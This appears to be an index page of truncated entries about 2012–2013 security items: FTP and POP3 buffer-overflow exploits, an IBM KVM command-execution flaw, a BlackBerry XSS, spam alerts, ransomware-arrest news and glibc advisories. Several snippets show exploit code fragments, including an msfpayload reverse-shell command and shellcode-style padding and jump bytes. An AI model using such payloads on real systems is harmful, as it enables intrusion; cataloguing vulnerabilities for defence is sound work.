IBM 1754 GCM 1.18.0.22011 - Remote Command Execution

I. Product description The IBM 1754 GCM family provides KVM over IP and serial console management technology in a single appliance. II. Vulnerability information Impact: Command execution Remotely exploitable: yes CVE: 2013-0526 CVS Score: 8.5 III. Vulnerability details GCM16 v.1.18.0.22011 and...

PCMan FTP Server 2.07 - STOR Remote Buffer Overflow

PCMan FTP Server 2.07 - STOR Remote Buffer Overflow !/usr/bin/python Exploit Title: PCMAN FTP 2.07 STOR Command - buffer overflow Date: 18 Agosto 2013 Exploit Author: Christian Polunchis Ramirez https://intrusionlabs.org Contact: [email protected] Version: PCMAN FTP 2.07 STOR Command...

PCMan FTP Server 2.07 - 'STOR' Remote Buffer Overflow

!/usr/bin/python Exploit Title: PCMAN FTP 2.07 STOR Command - buffer overflow Date: 18 Agosto 2013 Exploit Author: Christian Polunchis Ramirez https://intrusionlabs.org Contact: [email protected] Version: PCMAN FTP 2.07 STOR Command Tested on: Windows XP SP3, Spanish Thanks:To GOD for...

IBM 1754 GCM16 1.18.0.22011 Command Execution Vulnerability

IBM 1754 GCM16 versions 1.18.0.22011 and below contain a flaw that allows a remote authenticated user to execute unauthorized commands as root. This flaw exist because webapp variables are not sanitized. In this case, parameters $count and $size from ping.php allow to create a special crafted URL...

Sami FTP 2.0.1 MKD Buffer Overflow Vulnerability

Exploit for windows platform in category remote exploits !/usr/bin/python Exploit Title: Sami FTP MKD buffer overflow SEH + Bypass ASL Date: 11 Agosto 2013 Exploit Author: Christian Polunchis Ramirez https://intrusionlabs.org Vendor Homepage: http://www.karjasoft.com/old.php Version: Sami FTP...

Sami FTP Server 2.0.1 - MKD Buffer Overflow ASLR Bypass (SEH)

!/usr/bin/python Exploit Title: Sami FTP MKD buffer overflow SEH + Bypass ASL Date: 11 Agosto 2013 Exploit Author: Christian Polunchis Ramirez https://intrusionlabs.org Vendor Homepage: http://www.karjasoft.com/old.php Version: Sami FTP Server 2.0.1 Tested on: Windows 7 Home Basic x86, Spanish...

Sami FTP Server 2.0.1 - MKD Buffer Overflow ASLR Bypass (SEH)

Sami FTP Server 2.0.1 - MKD Buffer Overflow ASLR Bypass SEH !/usr/bin/python Exploit Title: Sami FTP MKD buffer overflow SEH + Bypass ASL Date: 11 Agosto 2013 Exploit Author: Christian Polunchis Ramirez https://intrusionlabs.org Vendor Homepage: http://www.karjasoft.com/old.php Version: Sami FTP...

Sami FTP 2.0.1 MKD Buffer Overflow

!/usr/bin/python Exploit Title: Sami FTP MKD buffer overflow SEH + Bypass ASL Date: 11 Agosto 2013 Exploit Author: Christian Polunchis Ramirez https://intrusionlabs.org Vendor Homepage: http://www.karjasoft.com/old.php Version: Sami FTP Server 2.0.1 Tested on: Windows 7 Home Basic x86, Spanish...

Threat Outbreak Alert: Fake Spanish Romantic Interest Contact Email Messages on July 8, 2013

Medium Alert ID: 29972 First Published: 2013 July 8 15:41 GMT Version: 1 Summary Cisco Security has detected significant activity related to Spanish-language spam email messages that claim to contain an romantic interest contact notification for the recipient. The text in the email message attemp...

Threat Outbreak Alert: Fake Tax Payment Attachment Email Messages on June 24, 2013

Medium Alert ID: 29772 First Published: 2013 June 25 12:51 GMT Version: 1 Summary Cisco Security has detected significant activity related to Spanish-language spam email messages that claim to contain a tax payment attachment for the recipient. The text in the email message attempts to convince t...

Freefloat FTP Server 1.0 - DEP Bypass with ROP

Freefloat FTP Server 1.0 - DEP Bypass with ROP !usr/bin/python Exploit title: FreeFloat ftp 1.0 DEP bypass with ROP Exploit Author: negux POC: http://www.exploit-db.com/exploits/24479/ Tested on : Windows XP SP 3 Spanish import socket,struct msfpayload windows/shellreversetcp LHOST=192.168.1.117...

Group behind largest Ransomware campaign arrested by Spanish police

Police in Spain have arrested a gang of 11 cyber criminals who used ransomware to demand money from thousands of victims in 30 countries using malware known as Reveton. Police arrested six Russians, two Ukrainians and two Georgians in the Costa del Sol. The gang leader, a 27-year-old Russian, was...

Group behind largest Ransomware campaign arrested by Spanish police

Police in Spain have arrested a gang of 11 cyber criminals who used ransomware to demand money from thousands of victims in 30 countries using malware known as Reveton. Police arrested six Russians, two Ukrainians and two Georgians in the Costa del Sol. The gang leader, a 27-year-old Russian, was...

Adobe Investigating Reports of Reader Zero-Day Exploit

UPDATE-Attackers are using malicious PDFs posing as an application for an international travel visa to exploit a zero-day vulnerability in Adobe Reader and Acrobat, a researcher at FireEye told Threatpost today. The exploit is the first to escape the sandbox included in Reader X and above. Zheng...

Blackberry Cross Site Scripting

Exploit Title: blackberry xss Date: 15.08.2012 Author: TayfunBasoglu Tested: BackTrack 5 Platform: Php ------------------------------------------------------------------ http://es.blackberry.com/newsroom/success/casestudy.jsp?title=TheOfficeoftheSpanishPrimeMinister&case= "...

CentOS Update for glibc CESA-2012:0058 centos6

The remote host is missing an update for the SPDX-FileCopyrightText: 2012 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription scriptxrefname:"URL",...

Threat Outbreak Alert: Fake Terra Greeting Card Notification Email Messages on May 11, 2012

Low Alert ID: 25908 First Published: 2012 May 14 14:50 GMT Version: 1 Summary Cisco Security has detected significant activity related to Spanish-language spam e-mail messages that claim to contain a Terra greeting card for the recipient. The text in the e-mail message attempts to convince the...

MailMax 4.6 POP3 Buffer Overflow

!/usr/bin/python MailMax \n" %sys.argv0 sys.exit print "\n! Connecting to %s ..." %sys.argv1 connect to host sock = socketAFINET,SOCKSTREAM sock.connectsys.argv1,intsys.argv2 sock.recv1024 time.sleep5 buffer = "USER " buffer += "A" 1439 padding buffer += "\xEB\x06\x90\x90" Short jmp 6 bytes buffe...

TORCS 1.3.2 Buffer Overflow

/ Exploit Title: TORCS Research Team Division Author: Andres Gomez and David Mora a.k.a Mighty-D ... Pwn and beans! Software Link: http://torcs.sourceforge.net/ Version: torcs 1.3.2 Vendor notified: 03/02/2012 Tested on: Windows XP Service Pack 3 Spanish CVE : / / This program will generate the...

CentOS 6 : glibc (CESA-2012:0058)

Updated glibc packages that fix two security issues and three bugs are now available for Red Hat Enterprise Linux 6. The Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System CVSS base scores, which give detailed severity...